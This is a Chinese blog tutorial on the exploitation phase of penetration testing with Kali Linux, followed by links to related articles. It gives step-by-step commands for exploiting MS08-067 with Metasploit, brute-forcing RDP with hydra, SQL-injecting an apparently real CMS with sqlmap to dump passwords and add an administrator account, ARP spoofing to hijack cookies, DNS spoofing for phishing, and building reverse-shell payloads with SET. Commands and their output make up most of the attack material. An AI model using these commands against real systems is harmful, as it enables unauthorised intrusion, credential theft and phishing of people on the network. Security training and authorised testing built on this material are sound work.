漏洞利用阶段利用已获得的信息和各种攻击手段实施渗透。网络应用程序漏洞诊断项目的加密通信漏洞诊断是必须执行的。顾名思义,利用漏洞,达到攻击的目的。
- Metasploit Framework
- rdesktop + hydra
- Sqlmap
- Arpspoof
- tcpdump + ferret + hamster
- Ettercap
- SET
Metasploit Framework
Metasploit是一款开源的安全漏洞检测工具,Metasploit Framework (MSF) 在2003年以开放源码方式发布,是可以*获取的开发框架。它是一个强大的开源平台,供开发,测试和使用恶意代码,这个环境为渗透测试、shellcode 编写和漏洞研究提供了一个可靠平台。这种可以扩展的模型将负载控制(payload)、编码器(encode)、无操作生成器(nops)和漏洞整合在一起,使 Metasploit Framework 成为一种研究高危漏洞的途径。它集成了各平台上常见的溢出漏洞和流行的 shellcode ,并且不断更新。
概要:MSF架构、组件
实例演示:入侵Windows XP SP3 (ms08_067)
MSF架构
Metasploit Framework并不止具有exploit(溢出)收集功能,它使你专注于创建自己的溢出模块或者二次开发。很少的一部分用汇编和C语言实现,其余均由ruby实现。总体架构:
TOOLS 集成了各种实用工具,多数为收集的其它软件
PLUGINS 各种插件,多数为收集的其它软件。直接调用其API,但只能在console工作。
MODULES 目前的Metasploit Framework 的各个模块
MSF core 表示Metasploit Framework core 提供基本的API,并且定义了MSF的框架。
并将各个子系统集成在一起。组织比较散乱,不建议更改。
MSF Base 提供了一些扩展的、易用的API以供调用,允许更改
Rex LIBRARIES Metasploit Framework中所包含的各种库,是类、方法和模块的集合
CLI 表示命令行界面
GUI 图形用户界面
Console 控制台用户界面
Web 网页界面,目前已不再支持
Exploits 定义实现了一些溢出模块,不含payload的话是一个Aux
Payload 由一些可动态运行在远程主机上的代码组成
Nops 用以产生缓冲区填充的非操作性指令
Aux 一些辅助模块,用以实现辅助攻击,如端口扫描工具
Encoders 重新进行编码,用以实现反检测功能等
进入msfconsole后可配置数据库来更方便更快速的查询各种模块
首先启动postgresql
sudo systemctl start postgresql
切换到postgresql
su postgres
创建一个postgresql数据库账户
create user root –P
接着,会提示输入密码,然后确认密码
创建数据库
createdb --owner=root nexp_db
owner参数指定数据库的所有者,后一个参数为数据库名称
然后退出进入MSF连接数据库
db_connect root:toor@localhost/nexp_db
连接成功后会提示:
[-] postgresql already connected to msf
[-] Run db_disconnect first if you wish to connect to a different database
msfconsole支持系统所有命令,在终端中输入help可以查看“Core Commands”、“Database Backend Commands”、“Exploit Commands”
MSF集成的几种漏洞扫描组件
Nmap
Nmap适用于Winodws、Linux、Mac等操作系统。它用于主机发现、端口发现或枚举、服务发现,检测操作系统、硬件地址、软件版本以及脆弱性的漏洞。Metasploit Framework平台集成了Nmap组件。通常在对目标系统发起攻击之前需要进行一些必要的信息收集,如获取网络中的活动主机、主机开放的端口等。
Nessus
Nessus是当前使用最广泛的漏洞扫描工具之一。Nessus采用client/sever模式,服务器端负责进行安全检查,客户端用来配置管理服务器端。在服务端还采用了plug-in的体系,允许用户加入执行特定功能的插件,这插件可以进行更快速和更复杂的安全检查。
nmap进行端口扫描
nmap -sS -v www.hdu.edu.cn -oX Desktop/out.xml
通过db_import命令导入已保存的扫描结果
db_import Desktop/out.xml
使用hosts命令查看包含在XML格式的扫描结果中的对象
使用services命令详细查看下列开放端口的相关服务信息
使用notes命令按扫描结果显示的端口导出详细信息
实例演示MSF入侵WinXP(ms_08067)
环境:
Windows XP SP3
IP:172.16.211.129
Kali Linux
IP:172.16.211.128
实验原理
漏洞名称:Windows Server服务RPC请求缓冲区溢出漏洞(MS08-067)
此安全更新解决了服务器服务中一个秘密报告的漏洞。如果用户在受影响的系统上收到特制的 RPC 请求,则该漏洞可能允许远程执行代码。 在 Microsoft Windows 2000、Windows XP 和 Windows Server 2003 系统上,攻击者可能未经身份验证即可利用此漏洞运行任意代码。 此漏洞可能用于进行蠕虫攻击。 防火墙最佳做法和标准的默认防火墙配置有助于保护网络资源免受从企业外部发起的攻击。
实验过程
在msfconsole使用search命令搜索MS08067漏洞攻击程序
从结果中得到
Name : exploit/windows/smb/ms08_067_netapi
Disclosure Date:2008-10-28
Rank:great
Description:MS08-067 Microsoft Server Service Relative Path Stack Corruption
使用use命令调用MS08067漏洞攻击程序
use exploit/windows/smb/ms08_067_netapi
使用show options 命令查看需要设置的选项
从图中可以看到还需设置RHOST(目标地址)、Exploit target(攻击目标)
使用 set 命令设置 Module Options,此处需要设置目标IP
即 set RHOST 172.16.211.129
使用 set 命令设置后,可再使用show options 命令查看设置情况
从中可以看出目标IP已经设置好
接着设置Exploit target,使用show targets 查看可选项
可以看出以下版本的系统均存在此漏洞
因为实例演示的XP系统为WinXP SP3 简体中文版,即
使用set target 命令设置目标,此处即为set target 34
此时再用show options 可以看到全部设置完成,接着使用exploit 或者 run 进行攻击
执行exploit命令后得到一个meterpreter
在meterpreter中输入shell即可进入CMD窗口
接着即可执行CMD命令,例如打开RDP服务
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
使用netstat -an命令查看端口是否开放,从图中可以看到已经开放
接着使用net user命令查看XP系统中的用户
可以看到存在一个用户为sysorem
然后针对指定用户比如这里的sysorem用户进行登录密码爆破
hydra 172.16.211.129 rdp -l sysorem -P Desktop/pass.txt
使用hydra爆破密码得:12345接着就能直接登录XP进行远程控制
rdesktop -a 32 -u sysorem -p 12345 172.16.211.129:3389
SQLmap
sqlmap是一个自动化的SQL注入工具,其主要功能是扫描,发现并利用给定的URL的SQL注入漏洞,目前支持的数据库是MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase和SAP MaxDB。采用五种独特的SQL注入技术,分别是:
1)基于布尔的盲注,即可以根据返回页面判断条件真假的注入。
2)基于时间的盲注,即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断。
3)基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中。
4)联合查询注入,可以使用union的情况下的注入。
5)堆查询注入,可以同时执行多条语句的执行时的注入。
概要:常用语法简单介绍
实例演示:实例演示通过一个注入点入侵一台服务器
常用语法介绍
获取当前用户名称
sqlmap -u "http://url/news?id=1" --current-user
获取当前数据库名称
sqlmap -u "http://www.xxoo.com/news?id=1" —current-db
列表名
sqlmap -u "http://www.xxoo.com/news?id=1" --tables -D “db_name”
列字段
sqlmap -u "http://url/news?id=1" --columns -T "tablename" users-D "db_name" -v 0 #
获取字段内容
sqlmap -u "http://url/news?id=1" --dump -C "column_name" -T "table_name" -D "db_name" -v 0
实例演示通过一个注入点入侵一台服务器
目标网站:某CMS
测试是否存在注入
sqlmap -u "http://xxx/newsInfo.php?news_id=1&classsn=8001" --level 2
Payload
news_id=1 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,CONCAT(0x716b766271,0x5a794e4d4a626f5857704c4959506c49507a58666b4c44717864664b596d586d797059515752464d,0x716a786b71),NULL,NULL-- PHML&classsn=9003
查询数据库所属用户,返回ht_zhengke20%
sqlmap -u “http://xxx/newsInfo.php?news_id=1&classsn=8001” --current-user
查询是否是管理员账户,返回true
sqlmap -u “http://xxx/newsInfo.php?news_id=1&classsn=8001” --is-dba
列数据库
sqlmap -u “http://xxx/newsInfo.php?news_id=1&classsn=8001” --dbs
列数据库用户
sqlmap -u “http://xxx/newsInfo.php?news_id=1&classsn=8001” --users
列数据库用户密码
sqlmap -u “http://xxx/newsInfo.php?news_id=1&classsn=8001” --passwords
得到ht_zhengke2用户的明文密码为ht_zhengke2
nmap扫描发现开放3389端口
进入sql shell
sqlmap -u “http://xxx/newsInfo.php?news_id=1&classsn=8001” --sql-shell
在sqlshell中添加一个用户并提升到管理员
net user root 12345 /add
net localgroup administrators root /add
使用新添加的用户远程登录服务器
Arpspoof
由于局域网的网络流通不是根据IP地址进行,而是根据MAC地址进行传输。所以,MAC地址在A上被伪造成一个不存在的MAC地址,这样就会导致网络不通,A不能Ping通C。这就是一个简单的ARP欺骗,利用的是ARP协议的漏洞。往往在内网渗透中,可配合其他工具用于网络嗅探、流量劫持等作用。
实例应用:
ARP欺骗攻击及会话劫持
ARP断网攻击
命令结构:
arpspoof [-i interface] [-t target] host
-i 表示网卡,-t 表示目标
ARP欺骗攻击
Windows XP SP3
IP:172.16.211.129
Kali Linux
IP:172.16.211.128
网关
IP:172.16.211.2
开启IP转发(可使用cat查看是否设置成功)
echo 1 >> /proc/sys/net/ipv4/ip_forward
重定向受害者的流量传送给攻击者
arpspoof -i eth0 -t 172.16.211.129 172.16.211.2
tcpdump抓包(使用wireshark也可以)
因为网关具有路由功能,因此只要监听本地网卡流量就能得到目标主机的流量。
简单用法: tcpdump -w cookie.cap #抓取所有流量写入cookie.cap
进行一段时间的欺骗,期间可以随便浏览些网页,聊天之类的,比如现在访问数字杭电,一段时间后停止欺骗、停止抓包,并配合使用ferret处理抓取的流量。
简单用法: ferret -r cookie.cap #处理抓取的流量
hamster
确保处理后的cookie.cap在root用户根目录后,运行hamster
接着根据提示设置浏览器代理
Kali 自带的Firefox浏览器设置代理如图
设置好代理后浏览器中访问hamster或http://127.0.0.1:1234
点击左侧链接,已经成功劫持cookie,实现访问
ARP断网攻击
关闭本地IP转发,当来自网关的流量到达本机时,目标机器无法获得来自网关的数据,从而“断网”
arpspoof -i eth0 172.16.211.1 172.16.211.128
ettercap
ettercap是一个强大的欺骗工具,能够让测试人员以极快的速度创建和发送伪造的包、从网络适配器到应用软件各种级别的包、绑定监听数据到一个本地端口等。是中间人攻击中常用到的辅助工具。
不过多介绍,有兴趣的小伙伴可以自行了解下
实例演示:MIMT之DNS欺骗(钓鱼)
配置dns(/etc/ettercap/etter.dns) 172.16.211.128为本机在局域网地址
开启本地web服务
直接访问会返回apache默认页面
使用命令ettercap -G 启动ettercap,并选择Unifind sniffing进行网卡配置
接着扫描存活的主机,扫描完毕点击下图的Hosts list
将网关地址添加到 target1,将攻击目标添加到 target2
接着设置中间人攻击的形式为ARP欺骗,并设置双向欺骗
接着启用dns_spoof插件
接着开始DNS欺骗
然后在目标主机上浏览www.hdu.edu.cn 时就能达到欺骗的效果
DNS欺骗在内网渗透中往往用于获取管理员信息、钓鱼等。例如可以伪造内网路由器管理页面,欺骗用户在管理页面输入真实账号密码等。
SET
SET是利用社会工程学理论的工具集。它与metasploit连接,自动构建可应用于社会工程学技术的微软最新楼漏洞、Adobe PDF漏洞、Java Applet漏洞等多种环境。它不仅使用方便,而且还能巧妙地瞒过普通用户的眼睛。因此,也是极其危险的工具。
在shell中输入setoolkit启动SET,它可进行社工、渗透等测试,此处选1即社工
选择连接方式为4,创建一个payload和listener
因为用于演示的系统为WinXP 32bit,因此选择连接方式为2
接着设置本机IP和端口(此处端口设置为4445,避免冲突即可)
接着SET将启动MSF并通过以上设置的payloads后,当用户被诱导并逆向连接本机4445端口时,将会得到一个meterpreter,得到meterpreter后,可输入?查看可用命令
例如screenshot截屏
Kali Linux渗透基础知识整理(三):漏洞利用的更多相关文章
-
Kali Linux渗透基础知识整理(二)漏洞扫描
Kali Linux渗透基础知识整理系列文章回顾 漏洞扫描 网络流量 Nmap Hping3 Nessus whatweb DirBuster joomscan WPScan 网络流量 网络流量就是网 ...
-
Kali Linux渗透基础知识整理(四):维持访问
Kali Linux渗透基础知识整理系列文章回顾 维持访问 在获得了目标系统的访问权之后,攻击者需要进一步维持这一访问权限.使用木马程序.后门程序和rootkit来达到这一目的.维持访问是一种艺术形式 ...
-
Kali Linux渗透基础知识整理(一):信息搜集
写在前面的废话:最近要给一些新人做培训,整理些东西,算不上什么太高端的内容,只是简单的整理下了,我觉得对于小白的话也还算是干货.在乌云水了几年,算不上什么大神水平,最近生活费紧张,现在打算在FreeB ...
-
Linux系统基础知识整理
一.说明 本篇文章,我将结合自己的实践以及简介,来对linux系统做一个直观清晰的介绍,使得哪些刚接触Linux的小伙伴可以快速入门,也方便自己以后进行复习查阅. 二.基本知识整理 1.Linux文件 ...
-
Linux系统基础知识整理(一)
本文来自于: https://www.cnblogs.com/hafiz/p/6686187.html#4196989 一.说明 本篇文章,我将结合自己的实践以及简介,来对linux系统做一个直观清晰 ...
-
运维之Linux基础知识(三)
运维之Linux基础知识(三) 1. 查看文本 cat tac more less head tail 1.1 cat 连接并显示文件 cat -n:在显示的时候,将每一行编号 -E:显示结束符$ - ...
-
【OGG】OGG基础知识整理
[OGG]OGG基础知识整理 一.GoldenGate介绍 GoldenGate软件是一种基于日志的结构化数据复制软件.GoldenGate 能够实现大量交易数据的实时捕捉.变换和投递,实现源数据库与 ...
-
Kali linux渗透测试常用工具汇总1
1.ProxyChains 简介:代理工具.支持HTTP/SOCKS4/SOCK5的代理服务器,允许TCP/DNS通过代理隧道. 应用场景:通过代理服务器上网. 配置:/etc/proxychains ...
-
Linux shell基础知识(上)
Linux shell基础知识(上) 目录 一.shell介绍 二.命令历史 三.命令补全和别名 四.通配符 五.输入输出重定向 六.管道符和作业控制 七.shell变量 八.环境变量配置文件 九.b ...
随机推荐
-
SQL Server远程连接操作
有时候需要在跨数据库或者跨服务器间进行操作时,可用以下代码: -- 开启远程选项 reconfigure reconfigure -- 方法1: -- 方法2: * FROM OPENROWSET(' ...
-
log4j配置webapp日志系统
1.基础知识: Log4j的中文文档 (这是根据最新的log4j(jakarta-log4j-1.2.8)的开发包自带文档的manual翻译的) http://dev.csdn.net/develop ...
-
IOS--实现滤镜效果的四种方式
IOS–实现滤镜效果 demo地址: https://github.com/AbeDay/ios–.git 使用CIFilter来完成IOS中滤镜效果 在IOS中可以使用系统自带的方法来达到路径效果: ...
-
【魅族Pro7】——BootStrap/JQuery/Canvas/PHP/MySQL/Ajax爬坑之项目总结(一)
前言:这个项目是我们小组团体合作完成的学习项目,项目使用魅族GUI设计和图片素材,响应式重构Pro7官网的首页.子页.商城及购物车,并加入一些创新.我主要负责的是[画屏子页]的项目,这里作为温故知新, ...
-
Dora.Interception, 一个为.NET Core度身打造的AOP框架:不一样的Interceptor定义方式
相较于社区其他主流的AOP框架,Dora.Interception在Interceptor提供了完全不同的编程方式.我们并没有为Interceptor定义一个接口,正是因为不需要实现一个预定义的接口, ...
-
Android初级教程获取手机系统联系人信息
在手机内部,对联系人信息存在对应的数据库.我们创建的而联系人信息都存在这张表中.如下是对数据库的截图,我已经对表和应该注意的地方做了红笔标注: 好了,现在可以根据数据库里面的数据来写代码了. 代码如下 ...
-
wm_concat函数oracle 11g返回clob
用wm_concat连接拼接字符串,测试环境是10g,一切正常 到了生产环境是11g,点开直接报错了 wm_concat函数在oracle 10g返回的是字符串,到了11g返回的是clob 解决办法: ...
-
自学Aruba5.1-Aruba 基于角色(role)的策略管理(重点)
点击返回:自学Aruba之路 自学Aruba5.1-Aruba 基于角色(role)的策略管理(重点) 1. 角色Role介绍 在ArubaOS中,用户(User)指的是已经完成连接,并获取到IP地址 ...
-
Listener 监听Session内的对象
Listener用于监控Session内的对象,分别是HttpSessionBindingListener与HttpSessionActivationListener.它们的触发时机分别为: Http ...
- rest framework 类 继承图